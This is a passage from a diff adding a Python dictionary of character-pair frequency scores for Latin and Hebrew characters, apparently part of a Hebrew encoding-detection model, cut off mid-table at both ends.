'l' + 54: 2, # 'n' + 49: 2, # 'o' + 51: 1, # 'r' + 43: 2, # 's' + 44: 2, # 't' + 63: 1, # 'u' + 34: 0, # '\xa0' + 55: 1, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 56: { # 'l' + 50: 1, # 'a' + 60: 1, # 'c' + 61: 1, # 'd' + 42: 2, # 'e' + 53: 2, # 'i' + 56: 2, # 'l' + 54: 1, # 'n' + 49: 1, # 'o' + 51: 0, # 'r' + 43: 1, # 's' + 44: 1, # 't' + 63: 1, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 54: { # 'n' + 50: 1, # 'a' + 60: 1, # 'c' + 61: 1, # 'd' + 42: 1, # 'e' + 53: 1, # 'i' + 56: 1, # 'l' + 54: 1, # 'n' + 49: 1, # 'o' + 51: 0, # 'r' + 43: 1, # 's' + 44: 2, # 't' + 63: 1, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 1, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 2, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 49: { # 'o' + 50: 1, # 'a' + 60: 1, # 'c' + 61: 1, # 'd' + 42: 1, # 'e' + 53: 1, # 'i' + 56: 1, # 'l' + 54: 2, # 'n' + 49: 1, # 'o' + 51: 2, # 'r' + 43: 1, # 's' + 44: 1, # 't' + 63: 1, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 51: { # 'r' + 50: 2, # 'a' + 60: 1, # 'c' + 61: 1, # 'd' + 42: 2, # 'e' + 53: 1, # 'i' + 56: 1, # 'l' + 54: 1, # 'n' + 49: 2, # 'o' + 51: 1, # 'r' + 43: 1, # 's' + 44: 1, # 't' + 63: 1, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 2, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 43: { # 's' + 50: 1, # 'a' + 60: 1, # 'c' + 61: 0, # 'd' + 42: 2, # 'e' + 53: 1, # 'i' + 56: 1, # 'l' + 54: 1, # 'n' + 49: 1, # 'o' + 51: 1, # 'r' + 43: 1, # 's' + 44: 2, # 't' + 63: 1, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 2, # '”' + 58: 0, # '†' + 40: 2, # '…' + }, + 44: { # 't' + 50: 1, # 'a' + 60: 1, # 'c' + 61: 0, # 'd' + 42: 2, # 'e' + 53: 2, # 'i' + 56: 1, # 'l' + 54: 0, # 'n' + 49: 1, # 'o' + 51: 1, # 'r' + 43: 1, # 's' + 44: 1, # 't' + 63: 1, # 'u' + 34: 1, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 2, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 63: { # 'u' + 50: 1, # 'a' + 60: 1, # 'c' + 61: 1, # 'd' + 42: 1, # 'e' + 53: 1, # 'i' + 56: 1, # 'l' + 54: 1, # 'n' + 49: 0, # 'o' + 51: 1, # 'r' + 43: 2, # 's' + 44: 1, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 34: { # '\xa0' + 50: 1, # 'a' + 60: 0, # 'c' + 61: 1, # 'd' + 42: 0, # 'e' + 53: 1, # 'i' + 56: 0, # 'l' + 54: 1, # 'n' + 49: 1, # 'o' + 51: 0, # 'r' + 43: 1, # 's' + 44: 1, # 't' + 63: 0, # 'u' + 34: 2, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 1, # 'ב' + 20: 1, # 'ג' + 16: 1, # 'ד' + 3: 1, # 'ה' + 2: 1, # 'ו' + 24: 1, # 'ז' + 14: 1, # 'ח' + 22: 1, # 'ט' + 1: 2, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 1, # 'ל' + 11: 0, # 'ם' + 6: 2, # 'מ' + 23: 0, # 'ן' + 12: 1, # 'נ' + 19: 1, # 'ס' + 13: 1, # 'ע' + 26: 0, # 'ף' + 18: 1, # 'פ' + 27: 0, # 'ץ' + 21: 1, # 'צ' + 17: 1, # 'ק' + 7: 1, # 'ר' + 10: 1, # 'ש' + 5: 1, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 55: { # '´' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 1, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 1, # 'ה' + 2: 1, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 2, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 1, # 'ל' + 11: 0, # 'ם' + 6: 1, # 'מ' + 23: 1, # 'ן' + 12: 1, # 'נ' + 19: 1, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 1, # 'ר' + 10: 1, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 48: { # '¼' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 1, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 1, # 'ל' + 11: 0, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 39: { # '½' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 1, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 1, # 'צ' + 17: 1, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 57: { # '¾' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 30: { # 'ְ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 1, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 1, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 2, # 'ב' + 20: 2, # 'ג' + 16: 2, # 'ד' + 3: 2, # 'ה' + 2: 2, # 'ו' + 24: 2, # 'ז' + 14: 2, # 'ח' + 22: 2, # 'ט' + 1: 2, # 'י' + 25: 2, # 'ך' + 15: 2, # 'כ' + 4: 2, # 'ל' + 11: 1, # 'ם' + 6: 2, # 'מ' + 23: 0, # 'ן' + 12: 2, # 'נ' + 19: 2, # 'ס' + 13: 2, # 'ע' + 26: 0, # 'ף' + 18: 2, # 'פ' + 27: 0, # 'ץ' + 21: 2, # 'צ' + 17: 2, # 'ק' + 7: 2, # 'ר' + 10: 2, # 'ש' + 5: 2, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 59: { # 'ֱ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 1, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 1, # 'ב' + 20: 1, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 1, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 1, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 2, # 'ל' + 11: 0, # 'ם' + 6: 2, # 'מ' + 23: 0, # 'ן' + 12: 1, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 1, # 'ר' + 10: 1, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 41: { # 'ֲ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 2, # 'ב' + 20: 1, # 'ג' + 16: 2, # 'ד' + 3: 1, # 'ה' + 2: 1, # 'ו' + 24: 1, # 'ז' + 14: 1, # 'ח' + 22: 1, # 'ט' + 1: 1, # 'י' + 25: 1, # 'ך' + 15: 1, # 'כ' + 4: 2, # 'ל' + 11: 0, # 'ם' + 6: 2, # 'מ' + 23: 0, # 'ן' + 12: 2, # 'נ' + 19: 1, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 1, # 'פ' + 27: 0, # 'ץ' + 21: 2, # 'צ' + 17: 1, # 'ק' + 7: 2, # 'ר' + 10: 2, # 'ש' + 5: 1, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 33: { # 'ִ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 1, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 1, # 'ִ' + 37: 0, # 'ֵ' + 36: 1, # 'ֶ' + 31: 0, # 'ַ' + 29: 1, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 1, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 2, # 'ב' + 20: 2, # 'ג' + 16: 2, # 'ד' + 3: 1, # 'ה' + 2: 1, # 'ו' + 24: 2, # 'ז' + 14: 1, # 'ח' + 22: 1, # 'ט' + 1: 3, # 'י' + 25: 1, # 'ך' + 15: 2, # 'כ' + 4: 2, # 'ל' + 11: 2, # 'ם' + 6: 2, # 'מ' + 23: 2, # 'ן' + 12: 2, # 'נ' + 19: 2, # 'ס' + 13: 1, # 'ע' + 26: 0, # 'ף' + 18: 2, # 'פ' + 27: 1, # 'ץ' + 21: 2, # 'צ' + 17: 2, # 'ק' + 7: 2, # 'ר' + 10: 2, # 'ש' + 5: 2, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 37: { # 'ֵ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 1, # 'ֶ' + 31: 1, # 'ַ' + 29: 1, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 2, # 'ב' + 20: 1, # 'ג' + 16: 2, # 'ד' + 3: 2, # 'ה' + 2: 1, # 'ו' + 24: 1, # 'ז' + 14: 2, # 'ח' + 22: 1, # 'ט' + 1: 3, # 'י' + 25: 2, # 'ך' + 15: 1, # 'כ' + 4: 2, # 'ל' + 11: 2, # 'ם' + 6: 1, # 'מ' + 23: 2, # 'ן' + 12: 2, # 'נ' + 19: 1, # 'ס' + 13: 2, # 'ע' + 26: 1, # 'ף' + 18: 1, # 'פ' + 27: 1, # 'ץ' + 21: 1, # 'צ' + 17: 1, # 'ק' + 7: 2, # 'ר' + 10: 2, # 'ש' + 5: 2, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 36: { # 'ֶ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 